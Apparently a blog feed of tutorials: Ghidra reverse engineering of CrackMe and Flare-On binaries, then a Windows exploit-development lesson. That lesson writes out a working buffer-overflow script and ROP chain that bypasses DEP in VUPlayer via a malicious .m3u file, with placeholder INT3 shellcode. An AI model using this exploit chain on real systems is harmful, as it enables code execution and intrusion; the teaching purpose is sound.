Welcome to the second part in a tutorial series on reverse engineering Windows binaries with Ghidra! In this post, we’ll be building on the concepts we learned in Part 0 and introduce some new topics including converting/applying data types, function call trees/graphs, the script manager and memory map. Along the way, we’ll apply what we learned by reversing some more CrackMe binaries and a CTF challenge binary from this year’s Flare-On 6. I’ve placed all the binaries we’ll be reversing in this repo here, so you can import them into Ghidra and you should be ready to go!
When you come across data in a binary, sometimes it’s not in the format you would prefer. Perhaps it’s displaying some data in hex, but you want it shown as decimal. Let’s see how we can do this conversion in Ghidra by opening up one of the IOLI CrackMe binaries called crackme0x01
from the repo here. After importing the binary, select the “Symbol Tree” window and expand the “Functions” folder to get to the _main
function or use the “Filter” input box to search for _main
. Once you click on it, you should be inside the main function and you will see the decompilation output to the right.
Highlight the “if” statement and you’ll see the associated disassembly highlighted as well. It’s comparing user input local_8
to see if it matches the value 0x149a
. But, if we try to use this as the password when running the executable, it fails. This is because it wants the decimal format, not the hex format.
We can convert to the decimal format in Ghidra by right-clicking the value in the disassembly listing, then selecting “Convert”. Now, we see the decimal value in the disassembly listing as well as in the decompilation window. Enter the decimal value of 5274
as the password and there we have it!
We can use Ghidra to apply data types such as turning an array of bytes into a string. To experiment with this feature, we’re going to use one of the Flare-On 6 CTF challenge binaries called Overlong.exe
created by Eamon Walsh. You can find this file in the repo here.
To see how we can apply a data type, we’re going to import Overlong.exe
into Ghidra. Then, navigate to the main function by expanding the functions folder in the Symbol Tree and clicking on “entry”. We can see in the decompilation window that a function named FUN_00401160
is being called with a reference to some data in the second parameter. Let’s double click on &DAT_00402008
in the decompilation window to be taken to it’s address in the Listing window. We can see a lot of question marks and a long list of values.
Let’s see what happens when we apply a data type of “string” to this sequence of data. Right-click on the first value under the DAT_00402008
name (E0h
) and select “Data”, you should see a list of data types you can apply. Click on the “string” data type and you’ll see that it now displays the flag in the decompilation window for the entry
function!
When you’re trying to figure out what a function in a binary is doing, it can help to see what functions end up getting called inside of it. For example, if you see that several functions related to networking and encryption are being used, then you could be dealing with something that calls out to the internet and tries to hide the data that it’s sending. To obtain this information in Ghidra, you can generate function call trees. Let’s see this in action by importing one of the CrackMe binaries named crackme0x04
from the repo here into Ghidra.
To start, expand the functions folder within the Symbol Tree window and filter for the _main
function. After clicking on the function name, you’ll be brought to the main function in the disassembly listing and decompilation window. Unlike the previous IOLI CrackMe binaries, we don’t see any comparison of the user value with the correct password in the main function. However, we can see that a function named _check
is being called with a character array called local_7c
, which is our user input from the command line.
Double click on _check
in the decompilation window and let’s take a closer look at this function. We can get an idea of what behavior this function may exhibit by generating a function call tree. Select “Window” in the Ghidra toolbar and click on “Function Call Trees: _check”. It shows that this function gets called by _main
and makes calls to _strlen
, _sscanf
, _exit
and _printf
.
This tells us that there is likely some operations being performed related to the length of our user input string (strlen), some formatted data is being read from our string (sscanf) and that the program may terminate when this function finishes (exit). We can generate similar insights with a function call graph by selecting “Window” in the toolbar and clicking on “Function Call Graph”. This shows a visual graph of the functions calling _check
and the functions that _check
is calling.
What can we do with this information now? Well, we know that there’s probably some calculations being done using the length of our string. Let’s look into this further by clicking on _strlen
in the Outgoing Calls window of the Function Call Tree and we will be taken to the point in the program where _strlen
is used. The length of our user value is being compared against the counter value that’s incremented in the while loop. It is checking to see if the password length is less than or equal to the counter. So, if we give a password that’s 4 characters long and the while loop counter is 0, then the loop will run 4 times until the counter is equal to the password length. At which point, it will print “Password Incorrect!” if the conditions for a correct password have still not been met.
We can also see that each loop iteration will read a single character of the password, format it as an integer using _sscanf
and add this value to a variable. If the total value of this variable is equal to 15, then the loop breaks and we get a “Password OK!” message.
Putting this all together, if we provide a password that is a series of numbers adding up to 15, then we’ll pass the check. Let’s try this out and give it a password of 555. It works! We can also do 5541, 771, 111111111111111, 12345, etc.
I’ve renamed the variables to meaningful names and added comments to make things more readable as I worked through this CrackMe, this is a good habit to get into! It will save you lots of time in the long run when you take a break for a few days and completely forget what a block of assembly is doing. Look at the image below to see what my final Ghidra project looks like in the decompiler window.
Ghidra comes with a bundle of scripts written in Java and Python that can be used to help with your reverse engineering tasks. You can also write your own scripts or incorporate those built by others in the community. To access these scripts, click on the “Window” menu in the toolbar and click on “Script Manager”. You’ll see a wide variety of folders within the Script Manager that include categories like Search, ARM, Analysis and Binary.
Let’s use the scripts in the “Examples” folder to test things out, click on the folder and then double-click HelloWorldScript.java
. If we return to the Ghidra main window, we’ll see that the Console window is displaying the string “Hello World”. You’ll also note that documentation for the script is displayed in the Script Manager’s bottom window. Output is not limited to the console, you can create GUI windows with scripts too. Double-click on the script HelloWorldPopupScript.java
and we’ll see that the script displays a small popup window with the string “Hello World”.
Let’s see what these scripts look like in an editor, click on the python_basics.py
script and right-click it, then select “Edit with basic editor” (you also have the option of editing the script in Eclipse). We can see the source code of the Python script in a window to the right. Note that if you want to run Python scripts, you’ll have to install Jython for it to work and then re-launch Ghidra.
If we want to add our own scripts, we can select the “New Script” button in the top right corner, select either Java or Python. A basic text editor window will open up and you can choose to write your script there or open the file in your favorite text editor by visiting the default directory located in $USER_HOME/ghidra_scripts
. To add a new directory, click on the “Script Directories” button in the top right.
The last thing we’ll go over is the memory map in Ghidra. There will be times when you want to set the image base of the binary that you’re disassembling. To do this, select “Window” and click on “Memory Map”. You’ll see the memory blocks of the binary and their associated permissions. To set the image base, you can click on the house icon in the top right and change the base image address there.
Congrats on finishing another tutorial and learning about more Ghidra features! Wrapping up, we covered the following:
You’ve reached the end of another Ghidra tutorial, I hope that you were able to learn something new and had some fun with reversing more binaries. Thanks for spending your time reading this post and please look forward to the next one!
If you found anything to be unclear or you have some recommendations/feedback, then send me a message on Twitter (@shogun_lab) or via e-mail at steven@shogunlab.com.
お疲れ様でした。
Ghidra Resources
Welcome to the first part in a tutorial series on reverse engineering with Ghidra! This series will be focused on using the newly released tool from the NSA to reverse engineer Windows executables. The goal is to introduce people to reverse engineering and also highlight unique features of Ghidra to those who are experienced RE ninjas.
This post will take you through a tour of the main windows available in Ghidra, followed by a brief tutorial on how to use it for reversing a simple CrackMe binary. For this series, we’ll be running everything on a Windows host. You can follow along in a virtual environment using a free Windows 10 64-bit VM from here. Or, if you prefer to run everything on your native host, that’s okay too! With the intros out of the way, let’s start by grabbing the latest copy of Ghidra and running it.
First things first, Ghidra has some prerequisites that need to be installed. JDK 11 is required by Ghidra, so download the installer from here and run it. Once that’s finished, let’s grab the latest copy of Ghidra from the official website. When the download completes, unzip the file and double click “runGhidra.bat” to start up Ghidra. You should be greeted by the user agreement on first run and after a bit of loading, you’ll see the project window pop up. If you have any issues with installation or above instructions, check out the guide here.
The project window allows you to load in binaries and organize your files. The set of Windows binaries we’ll be working with can be downloaded from here in the “IOLI-crackme/bin-win32” folder. Create a new project and next we’re going to import all of the files at once using Ghidra’s batch import. In the project window, choose “File > Batch import…”, browse to the “bin-win32” folder and select all the files for import. When it’s done, you should see the CrackMe files loaded up.
For the first part, we’ll be starting with “crackme0x00.exe”, double click it and the code browser will open. A message box will pop up asking if you want to analyze the binary, select “Yes” and you’ll see the different kinds of analysis you can perform. The defaults are fine for this project, select “Analyze” and wait for Ghidra to finish. When it’s all done, you’ll see the code browser loaded with the binary disassembly listing and the main windows.
Let’s go through the main windows Ghidra presents us with in the code browser. One thing that’s interesting about Ghidra is the contextual help menu. For most interface elements, you can press F1 while hovering to pull up a help guide on something you want to know more about. Try using the contextual help to learn more about the “Program Trees” window.
With “Program Trees” you can right-click on the “crackme0x00” folder to organize the sections of disassembly code in different ways. You can do this by selecting “Modularize By” and choosing “Subroutine”, “Complexity Depth” or “Dominance”. You’re also able to make new folders and drag/drop sections according to your own organizational preferences.
The next window below the “Program Trees” is the “Symbol Tree” window, allowing you to see the imports, exports, functions, labels, classes and namespaces of a binary. Try expanding the “Imports” section to see the various DLLs and functions used by the target. If you want to see where specific imported functions appear in the binary, you can right-click on the function and click “Show references to” then double click on the results entries to see the full section.
The “Data Type Manager” allows you to see all the defined types, including the built in types, those specific to the binary and others that were included with Ghidra (such as the Windows ones we see called “windows_vs12_32”). Try expanding the book icons and right-clicking a data type, then clicking “Find uses of” to see where a data type is used within the binary.
Now, we get to one of the main attractions, the “Listing” window. Here, you can see the disassembled code and begin the process of piecing together what different portions of the binary are doing. Ghidra offers you lots of ways to customize the listing window, to do this you can click on the “Edit the listing fields” icon in the top right and clicking on the “Instruction/Data” tab. Each element of the listing interface is able to be re-sized, moved around, disabled or deleted. You can also add in new elements by right-clicking and using the contextual menu. Try re-sizing the “Address” field to make it smaller and deleting the “Bytes” field.
The contextual menu within the disassembly listing can be seen by right-clicking somewhere within the assembly code. You can perform actions such as patching instructions, setting a bookmark, commenting and editing labels. Try right-clicking on one of the assembly instructions in the listing window and adding a comment. You can double click on one of the functions referenced by “CALL” to go to the function code and get a better idea of what it might do. Navigate forwards and backwards by clicking the arrow icons in the top left by the save icon, or using the shortcuts “Alt-Left Arrow Key” and “Alt-Right Arrow Key”. See if you can find out what function each “CALL .text” instruction is calling and edit the labels to the appropriate name. Add a comment or two that describes what different sections of the code might be doing.
Those familiar with IDA Pro might be used to working primarily in a graph mode. The equivalent window in Ghidra is the “Function Graph” window, which can be accessed by clicking “Window” and “Function Graph”. The function graph can similarly be customized using the “Edit the listing fields” button. Graphs in Ghidra won’t display comment fields by default, try adding them using the field editor. You’ll notice that it behaves a little different from IDA Pro’s graph mode and does not start fully zoomed in. To configure the function graph, right click inside the graph, choose “Properties” and select “Start Fully Zoomed In” from the “View Settings” dropdown.
Finally, we see the decompilation window on the right, showing Ghidra’s estimation of what high-level code represents the assembly code in the listing/function graph windows. Try highlighting one of the “if” statements in the decompiler and you’ll notice that it highlights the corresponding assembly. That’s one of the features I really like about Ghidra, since it allows you to build a mental mapping of what groups of assembly instructions map to which high-level instructions.
You can right-click on variables and rename them or add comments in the decompiler and they will be reflected in the disassembly listing/function graph as well. Ghidra keeps all these windows in sync automatically! If you’d like to tweak any of the decompiler display options, you can do so by right-clicking within the window and clicking “Properties”. See if you can rename the local variables to something more descriptive and observe that your changes appear in the listing window too.
If you’ve made it this far, you should have an understanding of the primary Ghidra interfaces and be ready to solve the first CrackMe (if you haven’t already). Start by running the “crackme0x0.exe” file to see how the program works. You’ll notice that it asks for a password, evaluates the user input and returns a message of “Invalid Password!” if the input was not correct.
Let’s do an initial triage of this binary by viewing the program strings in the “Window > Defined Strings” window. You’ll see some of the text displayed on the command line, let’s investigate the part of assembly that references “Password”. Double-click on the entry for “Password” in the “Defined Strings” window and you’ll be taken to the section where the text is stored in the program.
Left-click on the address and select “References > Show References to Address”, you can click on the entry to be brought to the section of code referencing “Password”. Try looking for which section of assembly is responsible for comparing the user input against the correct password. Rename the variables and functions to something more descriptive and add comments to help you annotate your analysis.
You’ll notice that after the reference to “Password”, there is a call to scanf
to receive the user input and a call to strcmp
after that. We see that the user input gets stored in EAX and placed into a local variable called local_40
. The string “250382” is also stored into a local variable called local_3c
, then both are passed to strcmp
. The result of this comparison is checked against the value zero and if it is equal to zero, then the text “Password OK :)” is printed. Otherwise, it takes the jump and prints the text “Invalid Password!”. Let’s run the “crackme0x00.exe” again, provide it with “250382” and… it worked!
We solved the first CrackMe using Ghidra! Congrats if you made it all the way through. The general methodology we used to reverse engineer this program was the following:
We also learned about some of the main windows and features of Ghidra, such as:
I hope that if you were new to reverse engineering, this first post was able to ease you into the process and you got your first taste of victory with this CrackMe. If you’re an experienced reverse engineer, hopefully you got an idea of how Ghidra can be used in your day-to-day reversing tasks and are familiar with the main UI elements. Thanks for taking the time to do this tutorial!
To begin reading the next part, click here where we’ll cover converting/applying data types, function call trees/graphs and the script manager.
If you found anything to be unclear or you have some recommendations/feedback, then send me a message on Twitter (@shogun_lab) or via e-mail at steven@shogunlab.com.
お疲れ様でした。
P.S: Ghidra also has an “Undo” button, which allows you to revert any changes that you might not want anymore. This undo action can be performed by clicking “Edit > Undo” or “Ctrl-Z”, so if you mess up at any point during these tutorials, then just hit undo!
]]>Hello again! Welcome to another post on Windows exploit development. Today we’re going to be discussing a technique called Return Oriented Programming (ROP) that’s commonly used to get around a type of exploit mitigation called Data Execution Prevention (DEP). This technique is slightly more advanced than previous exploitation methods, but it’s well worth learning because DEP is a protective mechanism that is now employed on a majority of modern operating systems. So without further ado, it’s time to up your exploit development game and learn how to commit a roppery!
So far we’ve been doing our exploitation on Windows XP as a way to learn how to create exploits in an OS that has fewer security mechanisms to contend with. It’s important to start simple when you’re learning something new! But, it’s now time to take off the training wheels and move on to a more modern OS with additional exploit mitigations. For this tutorial, we’ll be using a Windows 7 virtual machine environment. Thankfully, Microsoft provides Windows 7 VMs for demoing their Internet Explorer browser. They will work nicely for our purposes here today so go ahead and download the VM from here.
Next, load it into VirtualBox and start it up. Install Immunity Debugger, Python and mona.py again as instructed in the previous blog post here. When that’s ready, you’re all set to start learning ROP with our target software VUPlayer which you can get from the Exploit-DB entry we’re working off here.
Finally, make sure DEP is turned on for your Windows 7 virtual machine by going to Control Panel > System and Security > System then clicking on Advanced system settings, click on Settings… and go to the Data Execution Prevention tab to select ‘Turn on DEP for all programs and services except those I select:’ and restart your VM to ensure DEP is turned on.
With that, you should be good to follow along with the rest of the tutorial.
Let’s start things off by confirming that a vulnerability exists and write a script to cause a buffer overflow:
buf = "A"*3000
print "[+] Creating .m3u file of size "+ str(len(buf))
file = open('vuplayer-dep.m3u','w');
file.write(buf);
file.close();
print "[+] Done creating the file"
Attach Immunity Debugger to VUPlayer and run the script, drag and drop the output file ‘vuplayer-dep.m3u’ into the VUPlayer dialog and you’ll notice that our A character string overflows a buffer to overwrite EIP.
Great! Next, let’s find the offset by writing a script with a pattern buffer string. Generate the buffer with the following mona command:
!mona pc 3000
Then copy paste it into an updated script:
buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
print "[+] Creating .m3u file of size "+ str(len(buf))
file = open('vuplayer-dep.m3u','w');
file.write(buf);
file.close();
print "[+] Done creating the file"
Restart VUPlayer in Immunity and run the script, drag and drop the file then run the following mona command to find the offset:
!mona po 0x68423768
Got it! The offset is at 1012 bytes into our buffer and we can now update our script to add in an address of our choosing. Let’s find a jmp esp instruction we can use with the following mona command:
!mona jmp -r esp
Ah, I see a good candidate at address 0x1010539f in the output files from Mona:
Let’s plug that in and insert a mock shellcode payload of INT instructions:
import struct
BUF_SIZE = 3000
junk = "A"*1012
eip = struct.pack('<L', 0x1010539f)
shellcode = "\xCC"*200
exploit = junk + eip + shellcode
fill = "\x43" * (BUF_SIZE - len(exploit))
buf = exploit + fill
print "[+] Creating .m3u file of size "+ str(len(buf))
file = open('vuplayer-dep.m3u','w');
file.write(buf);
file.close();
print "[+] Done creating the file"
Time to restart VUPlayer in Immunity again and run the script. Drag and drop the file and…
Nothing happened? Huh? How come our shellcode payload didn’t execute? Well, that’s where Data Execution Prevention is foiling our evil plans! The OS is not allowing us to interpret the “0xCC” INT instructions as planned, instead it’s just failing to execute the data we provided it. This causes the program to simply crash instead of run the shellcode we want. But, there is a glimmer of hope! See, we were able to execute the “JMP ESP” instruction just fine right? So, there is SOME data we can execute, it must be existing data instead of arbitrary data like have used in the past. This is where we get creative and build a program using a chain of assembly instructions just like the “JMP ESP” we were able to run before that exist in code sections that are allowed to be executed. Time to learn about ROP!
Let’s start off by thinking about what the core of our problem here is. DEP is preventing the OS from interpreting our shellcode data “\xCC” as an INT instruction, instead it’s throwing up its hands and saying “I have no idea what in fresh hell this 0xCC stuff is! I’m just going to fail…” whereas without DEP it would say “Ah! Look at this, I interpret 0xCC to be an INT instruction, I’ll just go ahead and execute this instruction for you!”. With DEP enabled, certain sections of memory (like the stack where our INT shellcode resides) are marked as NON-EXECUTABLE (NX), meaning data there cannot be interpreted by the OS as an instruction. But, nothing about DEP says we can’t execute existing program instructions that are marked as executable like for example, the code making up the VUPlayer program! This is demonstrated by the fact that we could execute the JMP ESP code, because that instruction was found in the program itself and was therefore marked as executable so the program can run. However, the 0xCC shellcode we stuffed in is new, we placed it there in a place that was marked as non-executable.
So, we now arrive at the core of the Return Oriented Programming technique. What if, we could collect a bunch of existing program assembly instructions that aren’t marked as non-executable by DEP and chain them together to tell the OS to make our shellcode area executable? If we did that, then there would be no problem right? DEP would still be enabled but, if the area hosting our shellcode has been given a pass by being marked as executable, then it won’t have a problem interpreting our 0xCC data as INT instructions.
ROP does exactly that, those nuggets of existing assembly instructions are known as “gadgets” and those gadgets typically have the form of a bunch of addresses that point to useful assembly instructions followed by a “return” or “RET” instruction to start executing the next gadget in the chain. That’s why it’s called Return Oriented Programming!
But, what assembly program can we build with our gadgets so we can mark our shellcode area as executable? Well, there’s a variety to choose from on Windows but the one we will be using today is called VirtualProtect(). If you’d like to read about the VirtualProtect() function, I encourage you to check out the Microsoft developer page about it here). But, basically it will mark a memory page of our choosing as executable. Our challenge now, is to build that function in assembly using ROP gadgets found in the VUPlayer program.
So first, let’s establish what we need to put into what registers to get VirtualProtect() to complete successfully. We need to have:
Okay! Our tasks are laid out before us, time to create a program that will fulfill all these requirements. We will set lpAddress to the address of our shellcode, dwSize to be 0x201 so we have a sizable chunk of memory to play with, flNewProtect to be 0x40 which will mark the new page as executable through a memory protection constant (complete list can be found here), and finally we’ll set lpflOldProtect to be any static writable location. Then, all that is left to do is call the VirtualProtect() function we just set up and watch the magic happen!
First, let’s find ROP gadgets to build up the arguments our VirtualProtect() function needs. This will become our toolbox for building a ROP chain, we can grab gadgets from executable modules belonging to VUPlayer by checking out the list here:
To generate a list of usable gadgets from our chosen modules, you can use the following command in Mona:
!mona rop -m “bass,basswma,bassmidi”
Check out the rop_suggestions.txt file Mona generated and let’s get to building our ROP chain.
First let’s place a value into EBP for a call to PUSHAD at the end:
0x10010157, # POP EBP # RETN [BASS.dll]
0x10010157, # skip 4 bytes [BASS.dll]
Here, put the dwSize 0x201 by performing a negate instruction and place the value into EAX then move the result into EBX with the following instructions:
0x10015f77, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f72, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
Then, we’ll put the flNewProtect 0x40 into EAX then move the result into EDX with the following instructions:
0x10015f82, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
Next, let’s place our writable location (any valid writable location will do) into ECX for lpflOldProtect.
0x101049ec, # POP ECX # RETN [BASSWMA.dll]
0x101082db, # &Writable location [BASSWMA.dll]
Then, we get some values into the EDI and ESI registers for a PUSHAD call later:
0x1001621c, # POP EDI # RETN [BASS.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
0x10604154, # POP ESI # RETN [BASSMIDI.dll]
0x10101c02, # JMP [EAX] [BASSWMA.dll]
Finally, we set up the call to the VirtualProtect() function by placing the address of VirtualProtect (0x1060e25c) in EAX:
0x10015fe7, # POP EAX # RETN [BASS.dll]
0x1060e25c, # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
Then, all that’s left to do is push the registers with our VirtualProtect() argument values to the stack with a handy PUSHAD then pivot to the stack with a JMP ESP:
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
0x10022aa7, # ptr to 'jmp esp' [BASS.dll]
PUSHAD will place the register values on the stack in the following order: EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI. If you’ll recall, this means that the stack will look something like this with the ROP gadgets we used to setup the appropriate registers:
| EDI (0x1001dc05) |
| ESI (0x10101c02) |
| EBP (0x10010157) |
================
VirtualProtect() Function Call args on stack
| ESP (0x0012ecf0) | ← lpAddress [JMP ESP + NOPS + shellcode]
| 0x201 | ← dwSize
| 0x40 | ← flNewProtect
| &WritableLocation (0x101082db) | ← lpflOldProtect
| &VirtualProtect (0x1060e25c) | ← VirtualProtect() call
================
Now our stack will be setup to correctly call the VirtualProtect() function! The top param hosts our shellcode location which we want to make executable, we are giving it the ESP register value pointing to the stack where our shellcode resides. After that it’s the dwSize of 0x201 bytes. Then, we have the memory protection value of 0x40 for flNewProtect. Then, it’s the valid writable location of 0x101082db for lpflOldProtect. Finally, we have the address for our VirtualProtect() function call at 0x1060e25c.
With the JMP ESP instruction, EIP will point to the VirtualProtect() call and we will have succeeded in making our shellcode payload executable. Then, it will slide down a NOP sled into our shellcode which will now work beautifully!
It’s time now to update our Python exploit script with the ROP chain we just discussed, you can see the script here:
import struct
BUF_SIZE = 3000
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x10010157, # POP EBP # RETN [BASS.dll]
0x10010157, # skip 4 bytes [BASS.dll]
0x10015f77, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f72, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
0x101049ec, # POP ECX # RETN [BASSWMA.dll]
0x101082db, # &Writable location [BASSWMA.dll]
0x1001621c, # POP EDI # RETN [BASS.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
0x10604154, # POP ESI # RETN [BASSMIDI.dll]
0x10101c02, # JMP [EAX] [BASSWMA.dll]
0x10015fe7, # POP EAX # RETN [BASS.dll]
0x1060e25c, # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
0x10022aa7, # ptr to 'jmp esp' [BASS.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
junk = "A"*1012
rop_chain = create_rop_chain()
eip = struct.pack('<L',0x10601033) # RETN (BASSMIDI.dll)
nops = "\x90"*16
shellcode = "\xCC"*200
exploit = junk + eip + rop_chain + nops + shellcode
fill = "\x43" * (BUF_SIZE - len(exploit))
buf = exploit + fill
print "[+] Creating .m3u file of size "+ str(len(buf))
file = open('vuplayer-dep.m3u','w');
file.write(buf);
file.close();
print "[+] Done creating the file"
We added the ROP chain in a function called create_rop_chain() and we have our mock shellcode to verify if the ROP chain did its job. Go ahead and run the script then restart VUPlayer in Immunity Debug. Drag and drop the file to see a glorious INT3 instruction get executed!
